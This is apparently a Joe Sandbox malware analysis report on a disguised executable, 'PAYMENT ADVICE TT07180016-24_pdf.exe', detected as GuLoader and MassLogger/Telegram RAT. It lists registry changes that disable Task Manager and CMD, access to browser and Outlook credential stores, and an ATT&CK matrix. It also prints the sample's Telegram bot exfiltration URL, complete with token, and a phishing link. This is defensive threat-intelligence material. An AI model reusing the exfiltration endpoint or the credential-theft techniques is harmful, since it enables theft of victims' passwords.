Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe

Code function: 0_2_00406077 GetVersion,GetSystemDirectoryW,GetWindowsDirectoryW,SHGetSpecialFolderLocation,SHGetPathFromIDListW,CoTaskMemFree,lstrcatW,lstrlenW,

0_2_00406077

Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings

Disable Task Manager(disabletaskmgr)

Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe

Registry value created: DisableTaskMgr 1

Jump to behavior

Disables CMD prompt

Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe

Registry value created: DisableCMD 1

Jump to behavior

Disables the Windows task manager (taskmgr)

Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe

Registry key created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System DisableTaskMgr

Jump to behavior

Stealing of Sensitive Information

Yara detected MassLogger RAT

Source: Yara match	File source: 00000004.00000002.2958960701.00000000348BA000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: PAYMENT ADVICE TT07180016-24_pdf.exe PID: 7788, type: MEMORYSTR

Yara detected Telegram RAT

Source: Yara match	File source: 00000004.00000002.2958960701.00000000348BA000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: PAYMENT ADVICE TT07180016-24_pdf.exe PID: 7788, type: MEMORYSTR

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data			Jump to behavior
Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data			Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\PAYMENT ADVICE TT07180016-24_pdf.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Jump to behavior

Source: Yara match	File source: 00000004.00000002.2958960701.00000000348BA000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: PAYMENT ADVICE TT07180016-24_pdf.exe PID: 7788, type: MEMORYSTR

Remote Access Functionality

Yara detected MassLogger RAT

Source: Yara match	File source: 00000004.00000002.2958960701.00000000348BA000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: PAYMENT ADVICE TT07180016-24_pdf.exe PID: 7788, type: MEMORYSTR

Yara detected Telegram RAT

Source: Yara match	File source: 00000004.00000002.2958960701.00000000348BA000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: PAYMENT ADVICE TT07180016-24_pdf.exe PID: 7788, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Native API	1 DLL Side-Loading	1 Access Token Manipulation	1 Masquerading	1 OS Credential Dumping	21 Security Software Discovery	Remote Services	1 Email Collection	1 Web Service	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	11 Process Injection	31 Disable or Modify Tools	LSASS Memory	31 Virtualization/Sandbox Evasion	Remote Desktop Protocol	1 Archive Collected Data	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 DLL Side-Loading	31 Virtualization/Sandbox Evasion	Security Account Manager	1 Application Window Discovery	SMB/Windows Admin Shares	1 Data from Local System	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Access Token Manipulation	NTDS	1 System Network Configuration Discovery	Distributed Component Object Model	1 Clipboard Data	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	11 Process Injection	LSA Secrets	2 File and Directory Discovery	SSH	Keylogging	14 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Deobfuscate/Decode Files or Information	Cached Domain Credentials	215 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	3 Obfuscated Files or Information	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 DLL Side-Loading	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
PAYMENT ADVICE TT07180016-24_pdf.exe	50%	ReversingLabs	Win32.Trojan.Guloader

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\Temp\nsxC748.tmp\System.dll	0%	ReversingLabs

Name	IP	Active	Malicious	Reputation
drive.google.com	172.217.19.174	true	false	high
drive.usercontent.google.com	142.250.200.225	true	false	high
reallyfreegeoip.org	104.21.67.152	true	false	high
api.telegram.org	149.154.167.220	true	false	high
checkip.dyndns.com	158.101.44.242	true	false	high
checkip.dyndns.org	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Reputation
http://checkip.dyndns.org/	false	high
https://reallyfreegeoip.org/xml/8.46.123.189	false	high
https://api.telegram.org/bot7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc/sendDocument?chat_id=7382809095&caption=user%20/%20Passwords%20/%208.46.123.189	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
https://www.google.com	PAYMENT ADVICE TT07180016-24_pdf.exe, 00000004.00000003.2136489225.00000000040AB000.00000004.00000020.00020000.00000000.sdmp	false	high
http://checkip.dyndns.org/7f	PAYMENT ADVICE TT07180016-24_pdf.exe, 00000004.00000002.2960541313.0000000036FFA000.00000004.00000020.00020000.00000000.sdmp	false	high
https://api.telegram.org	PAYMENT ADVICE TT07180016-24_pdf.exe, 00000004.00000002.2958960701.0000000034998000.00000004.00000800.00020000.00000000.sdmp, PAYMENT ADVICE TT07180016-24_pdf.exe, 00000004.00000002.2958960701.00000000348BA000.00000004.00000800.00020000.00000000.sdmp, PAYMENT ADVICE TT07180016-24_pdf.exe, 00000004.00000002.2958960701.0000000034BA8000.00000004.00000800.00020000.00000000.sdmp, PAYMENT ADVICE TT07180016-24_pdf.exe, 00000004.00000002.2958960701.00000000349E8000.00000004.00000800.00020000.00000000.sdmp, PAYMENT ADVICE TT07180016-24_pdf.exe, 00000004.00000002.2958960701.0000000034B07000.00000004.00000800.00020000.00000000.sdmp	false	high
https://api.telegram.org/bot	PAYMENT ADVICE TT07180016-24_pdf.exe, 00000004.00000002.2958960701.00000000348BA000.00000004.00000800.00020000.00000000.sdmp	false	high
https://api.telegram.org/bot7162915847:AAFcWinWendSJrYL4eRL1FJDDjF3FOU7gZc/sendDocument?chat_id=7382	PAYMENT ADVICE TT07180016-24_pdf.exe, 00000004.00000002.2958960701.0000000034B07000.00000004.00000800.00020000.00000000.sdmp	false	high
https://translate.google.com/translate_a/element.js	PAYMENT ADVICE TT07180016-24_pdf.exe, 00000004.00000003.2136489225.000000000409E000.00000004.00000020.00020000.00000000.sdmp, PAYMENT ADVICE TT07180016-24_pdf.exe, 00000004.00000003.2136489225.00000000040AB000.00000004.00000020.00020000.00000000.sdmp	false	high
https://drive.google.com/	PAYMENT ADVICE TT07180016-24_pdf.exe, 00000004.00000002.2935639823.0000000004038000.00000004.00000020.00020000.00000000.sdmp	false	high
http://checkip.dyndns.org/V	PAYMENT ADVICE TT07180016-24_pdf.exe, 00000004.00000002.2960541313.0000000036FFA000.00000004.00000020.00020000.00000000.sdmp	false	high
http://reallyfreegeoip.org	PAYMENT ADVICE TT07180016-24_pdf.exe, 00000004.00000002.2958960701.0000000034828000.00000004.00000800.00020000.00000000.sdmp	false	high
https://reallyfreegeoip.org	PAYMENT ADVICE TT07180016-24_pdf.exe, 00000004.00000002.2958960701.0000000034810000.00000004.00000800.00020000.00000000.sdmp	false	high
https://drive.usercontent.google.com/	PAYMENT ADVICE TT07180016-24_pdf.exe, 00000004.00000003.2183352064.00000000040AB000.00000004.00000020.00020000.00000000.sdmp, PAYMENT ADVICE TT07180016-24_pdf.exe, 00000004.00000002.2935639823.00000000040A4000.00000004.00000020.00020000.00000000.sdmp	false	high
http://checkip.dyndns.org	PAYMENT ADVICE TT07180016-24_pdf.exe, 00000004.00000002.2958960701.0000000034998000.00000004.00000800.00020000.00000000.sdmp, PAYMENT ADVICE TT07180016-24_pdf.exe, 00000004.00000002.2958960701.0000000034BC7000.00000004.00000800.00020000.00000000.sdmp, PAYMENT ADVICE TT07180016-24_pdf.exe, 00000004.00000002.2958960701.0000000034810000.00000004.00000800.00020000.00000000.sdmp, PAYMENT ADVICE TT07180016-24_pdf.exe, 00000004.00000002.2958960701.0000000034791000.00000004.00000800.00020000.00000000.sdmp, PAYMENT ADVICE TT07180016-24_pdf.exe, 00000004.00000002.2958960701.00000000348BA000.00000004.00000800.00020000.00000000.sdmp, PAYMENT ADVICE TT07180016-24_pdf.exe, 00000004.00000002.2958960701.0000000034BA8000.00000004.00000800.00020000.00000000.sdmp, PAYMENT ADVICE TT07180016-24_pdf.exe, 00000004.00000002.2958960701.00000000349E8000.00000004.00000800.00020000.00000000.sdmp, PAYMENT ADVICE TT07180016-24_pdf.exe, 00000004.00000002.2958960701.0000000034B07000.00000004.00000800.00020000.00000000.sdmp	false	high
https://apis.google.com	PAYMENT ADVICE TT07180016-24_pdf.exe, 00000004.00000003.2136489225.00000000040AB000.00000004.00000020.00020000.00000000.sdmp	false	high
http://checkip.dyndns.com	PAYMENT ADVICE TT07180016-24_pdf.exe, 00000004.00000002.2958960701.0000000034998000.00000004.00000800.00020000.00000000.sdmp, PAYMENT ADVICE TT07180016-24_pdf.exe, 00000004.00000002.2958960701.0000000034BC7000.00000004.00000800.00020000.00000000.sdmp, PAYMENT ADVICE TT07180016-24_pdf.exe, 00000004.00000002.2958960701.0000000034810000.00000004.00000800.00020000.00000000.sdmp, PAYMENT ADVICE TT07180016-24_pdf.exe, 00000004.00000002.2958960701.0000000034BA8000.00000004.00000800.00020000.00000000.sdmp, PAYMENT ADVICE TT07180016-24_pdf.exe, 00000004.00000002.2958960701.00000000349E8000.00000004.00000800.00020000.00000000.sdmp, PAYMENT ADVICE TT07180016-24_pdf.exe, 00000004.00000002.2958960701.0000000034B07000.00000004.00000800.00020000.00000000.sdmp	false	high
http://nsis.sf.net/NSIS_ErrorError	PAYMENT ADVICE TT07180016-24_pdf.exe	false	high
http://api.telegram.org	PAYMENT ADVICE TT07180016-24_pdf.exe, 00000004.00000002.2958960701.0000000034998000.00000004.00000800.00020000.00000000.sdmp, PAYMENT ADVICE TT07180016-24_pdf.exe, 00000004.00000002.2958960701.0000000034BC7000.00000004.00000800.00020000.00000000.sdmp, PAYMENT ADVICE TT07180016-24_pdf.exe, 00000004.00000002.2958960701.00000000348BA000.00000004.00000800.00020000.00000000.sdmp, PAYMENT ADVICE TT07180016-24_pdf.exe, 00000004.00000002.2958960701.0000000034BA8000.00000004.00000800.00020000.00000000.sdmp, PAYMENT ADVICE TT07180016-24_pdf.exe, 00000004.00000002.2958960701.00000000349E8000.00000004.00000800.00020000.00000000.sdmp, PAYMENT ADVICE TT07180016-24_pdf.exe, 00000004.00000002.2958960701.0000000034B07000.00000004.00000800.00020000.00000000.sdmp	false	high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	PAYMENT ADVICE TT07180016-24_pdf.exe, 00000004.00000002.2958960701.0000000034791000.00000004.00000800.00020000.00000000.sdmp	false	high
https://drive.usercontent.google.com/q	PAYMENT ADVICE TT07180016-24_pdf.exe, 00000004.00000003.2183352064.00000000040AB000.00000004.00000020.00020000.00000000.sdmp, PAYMENT ADVICE TT07180016-24_pdf.exe, 00000004.00000002.2935639823.00000000040A4000.00000004.00000020.00020000.00000000.sdmp	false	high
https://reallyfreegeoip.org/xml/	PAYMENT ADVICE TT07180016-24_pdf.exe, 00000004.00000002.2958960701.0000000034810000.00000004.00000800.00020000.00000000.sdmp	false	high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
149.154.167.220	api.telegram.org	United Kingdom	62041	TELEGRAMRU	false
104.21.67.152	reallyfreegeoip.org	United States	13335	CLOUDFLARENETUS	false
142.250.200.225	drive.usercontent.google.com	United States	15169	GOOGLEUS	false
158.101.44.242	checkip.dyndns.com	United States	31898	ORACLE-BMC-31898US	false
172.217.19.174	drive.google.com	United States	15169	GOOGLEUS	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1576542
Start date and time:	2024-12-17 08:41:20 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 7m 3s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	6
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	PAYMENT ADVICE TT07180016-24_pdf.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@3/8@5/5
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 95% Number of executed functions: 144 Number of non-executed functions: 109
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 4.175.87.197, 13.107.246.43, 172.202.163.200
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: PAYMENT ADVICE TT07180016-24_pdf.exe

Simulations

Behavior and APIs

Time	Type	Description
02:43:12	API Interceptor	867x Sleep call for process: PAYMENT ADVICE TT07180016-24_pdf.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
149.154.167.220	pre-stowage.PDF.scr.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	HIROSHIMA STAR - VSL's_DETAILS.docx.scr.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	Order129845.exe	Get hash	malicious	AgentTesla	Browse
	PURCHASE ORDER TRC-0909718-24_pdf.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse
	Justificante pago-09453256434687.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse
	l9IH82eiKw.exe	Get hash	malicious	Unknown	Browse
	l9IH82eiKw.exe	Get hash	malicious	Unknown	Browse
	pedido-035241.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse
	QUOTATION REQUEST - BQS058.exe	Get hash	malicious	MassLogger RAT	Browse
	FT876567090.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
104.21.67.152	HIROSHIMA STAR - VSL's_DETAILS.docx.scr.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	hesaphareketi-01.pdf.exe	Get hash	malicious	Snake Keylogger	Browse
	Justificante pago-09453256434687.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse
	pedido-035241.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse
	QUOTATION REQUEST - BQS058.exe	Get hash	malicious	MassLogger RAT	Browse
	FT876567090.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	ref_97024130865.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse
	CITAS_pif.exe	Get hash	malicious	MassLogger RAT	Browse
	TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	PURCHASE ORDER 006-2024 GIA-AV Rev 1_pdf.exe	Get hash	malicious	GuLoader	Browse
158.101.44.242	Justificante pago-09453256434687.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
	pedido-035241.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
	FT876567090.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
	REQUEST FOR QUOTATION 1307-RFQ.exe	Get hash	malicious	MassLogger RAT	Browse	checkip.dyndns.org/
	PURCHASE ORDER 006-2024 GIA-AV Rev 1_pdf.exe	Get hash	malicious	GuLoader	Browse	checkip.dyndns.org/
	REQUEST FOR QUOATION AND PRICES 0910775_pdf.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	checkip.dyndns.org/
	Shipment 990847575203.pdf.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
	77541373_BESOZT00_2024_99101234_1_4_1.exe	Get hash	malicious	MassLogger RAT	Browse	checkip.dyndns.org/
	hesaphareketi-01.pdf.exe	Get hash	malicious	Snake Keylogger	Browse	checkip.dyndns.org/
	hesaphareketi-01.pdfsxlx..exe	Get hash	malicious	Snake Keylogger	Browse	checkip.dyndns.org/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
checkip.dyndns.com	pre-stowage.PDF.scr.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	193.122.130.0
	HIROSHIMA STAR - VSL's_DETAILS.docx.scr.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	193.122.130.0
	hesaphareketi-01.pdf.exe	Get hash	malicious	Snake Keylogger	Browse	132.226.247.73
	PURCHASE ORDER TRC-0909718-24_pdf.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	193.122.130.0
	Justificante pago-09453256434687.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	158.101.44.242
	pedido-035241.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	193.122.6.168
	QUOTATION REQUEST - BQS058.exe	Get hash	malicious	MassLogger RAT	Browse	193.122.6.168
	FT876567090.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	158.101.44.242
	REQUEST FOR QUOTATION 1307-RFQ.exe	Get hash	malicious	MassLogger RAT	Browse	158.101.44.242
	PO-1124-0018- TTR-ASP1 .. 20 adet 0191621.exe	Get hash	malicious	VIP Keylogger	Browse	132.226.8.169
reallyfreegeoip.org	pre-stowage.PDF.scr.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	172.67.177.134
	HIROSHIMA STAR - VSL's_DETAILS.docx.scr.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.67.152
	hesaphareketi-01.pdf.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.67.152
	PURCHASE ORDER TRC-0909718-24_pdf.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	188.114.97.3
	Justificante pago-09453256434687.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	104.21.67.152
	pedido-035241.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	104.21.67.152
	QUOTATION REQUEST - BQS058.exe	Get hash	malicious	MassLogger RAT	Browse	104.21.67.152
	FT876567090.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.67.152
	REQUEST FOR QUOTATION 1307-RFQ.exe	Get hash	malicious	MassLogger RAT	Browse	172.67.177.134
	PO-1124-0018- TTR-ASP1 .. 20 adet 0191621.exe	Get hash	malicious	VIP Keylogger	Browse	172.67.177.134
api.telegram.org	pre-stowage.PDF.scr.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	HIROSHIMA STAR - VSL's_DETAILS.docx.scr.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	Order129845.exe	Get hash	malicious	AgentTesla	Browse	149.154.167.220
	PURCHASE ORDER TRC-0909718-24_pdf.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	149.154.167.220
	Justificante pago-09453256434687.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	l9IH82eiKw.exe	Get hash	malicious	Unknown	Browse	149.154.167.220
	l9IH82eiKw.exe	Get hash	malicious	Unknown	Browse	149.154.167.220
	pedido-035241.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	QUOTATION REQUEST - BQS058.exe	Get hash	malicious	MassLogger RAT	Browse	149.154.167.220
	FT876567090.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
TELEGRAMRU	pre-stowage.PDF.scr.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	HIROSHIMA STAR - VSL's_DETAILS.docx.scr.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	69633f.msi	Get hash	malicious	Vidar	Browse	149.154.167.99
	Order129845.exe	Get hash	malicious	AgentTesla	Browse	149.154.167.220
	PURCHASE ORDER TRC-0909718-24_pdf.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	149.154.167.220
	Justificante pago-09453256434687.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	l9IH82eiKw.exe	Get hash	malicious	Unknown	Browse	149.154.167.220
	l9IH82eiKw.exe	Get hash	malicious	Unknown	Browse	149.154.167.220
	pedido-035241.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	dZKPE9gotO.exe	Get hash	malicious	Vidar	Browse	149.154.167.99
CLOUDFLARENETUS	ei0woJS3Dy.lnk	Get hash	malicious	Unknown	Browse	172.67.140.151
	tz1WicW6sG.lnk	Get hash	malicious	Unknown	Browse	188.114.96.6
	pre-stowage.PDF.scr.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	172.67.177.134
	HIROSHIMA STAR - VSL's_DETAILS.docx.scr.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.67.152
	https://quarantine-emails13122024bcpe038qua8303rantine0832411.s3.eu-central-3.ionoscloud.com/message.html#anneke.hanekom@mmiholdings.co.za	Get hash	malicious	HTMLPhisher	Browse	104.18.11.207
	Assinar_PDF_3476.lNK.lnk	Get hash	malicious	Unknown	Browse	104.21.32.1
	hesaphareketi-01.pdf.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.67.152
	Sublabially.vbs	Get hash	malicious	Remcos, GuLoader	Browse	172.67.210.11
	Brokerage Invoice.pdf.vbs	Get hash	malicious	Unknown	Browse	104.21.2.70
	DHL.exe	Get hash	malicious	FormBook	Browse	104.21.48.233
ORACLE-BMC-31898US	pre-stowage.PDF.scr.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	193.122.130.0
	HIROSHIMA STAR - VSL's_DETAILS.docx.scr.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	193.122.130.0
	ldr.ps1	Get hash	malicious	GO Miner, Xmrig	Browse	147.154.227.160
	PURCHASE ORDER TRC-0909718-24_pdf.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	193.122.130.0
	end.exe	Get hash	malicious	Unknown	Browse	130.61.86.87
	Justificante pago-09453256434687.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	158.101.44.242
	pedido-035241.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	158.101.44.242
	QUOTATION REQUEST - BQS058.exe	Get hash	malicious	MassLogger RAT	Browse	193.122.6.168
	FT876567090.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	158.101.44.242
	REQUEST FOR QUOTATION 1307-RFQ.exe	Get hash	malicious	MassLogger RAT	Browse	158.101.44.242

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
54328bd36c14bd82ddaa0c04b25ed9ad	pre-stowage.PDF.scr.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.67.152
	HIROSHIMA STAR - VSL's_DETAILS.docx.scr.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.67.152
	hesaphareketi-01.pdf.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.67.152
	PURCHASE ORDER TRC-0909718-24_pdf.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	104.21.67.152
	Justificante pago-09453256434687.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	104.21.67.152
	pedido-035241.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	104.21.67.152
	QUOTATION REQUEST - BQS058.exe	Get hash	malicious	MassLogger RAT	Browse	104.21.67.152
	FT876567090.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.67.152
	REQUEST FOR QUOTATION 1307-RFQ.exe	Get hash	malicious	MassLogger RAT	Browse	104.21.67.152
	PO-1124-0018- TTR-ASP1 .. 20 adet 0191621.exe	Get hash	malicious	VIP Keylogger	Browse	104.21.67.152
3b5074b1b5d032e5620f69f9f700ff0e	ei0woJS3Dy.lnk	Get hash	malicious	Unknown	Browse	149.154.167.220
	tz1WicW6sG.lnk	Get hash	malicious	Unknown	Browse	149.154.167.220
	pre-stowage.PDF.scr.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	HIROSHIMA STAR - VSL's_DETAILS.docx.scr.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	https://quarantine-emails13122024bcpe038qua8303rantine0832411.s3.eu-central-3.ionoscloud.com/message.html#anneke.hanekom@mmiholdings.co.za	Get hash	malicious	HTMLPhisher	Browse	149.154.167.220
	Sublabially.vbs	Get hash	malicious	Remcos, GuLoader	Browse	149.154.167.220
	Brokerage Invoice.pdf.vbs	Get hash	malicious	Unknown	Browse	149.154.167.220
	Nueva orden de compra-836528268278278.xlsx.exe	Get hash	malicious	Unknown	Browse	149.154.167.220
	Order129845.exe	Get hash	malicious	AgentTesla	Browse	149.154.167.220
	SFHgtxFGtB.ps1	Get hash	malicious	Unknown	Browse	149.154.167.220
37f463bf4616ecd445d4a1937da06e19	bxAoaISZJQ.lnk	Get hash	malicious	Unknown	Browse	142.250.200.225 172.217.19.174
	ei0woJS3Dy.lnk	Get hash	malicious	Unknown	Browse	142.250.200.225 172.217.19.174
	tz1WicW6sG.lnk	Get hash	malicious	Unknown	Browse	142.250.200.225 172.217.19.174
	Assinar_PDF_3476.lNK.lnk	Get hash	malicious	Unknown	Browse	142.250.200.225 172.217.19.174
	Sublabially.vbs	Get hash	malicious	Remcos, GuLoader	Browse	142.250.200.225 172.217.19.174
	69633f.msi	Get hash	malicious	Vidar	Browse	142.250.200.225 172.217.19.174
	DG55Gu1yGM.exe	Get hash	malicious	LummaC	Browse	142.250.200.225 172.217.19.174
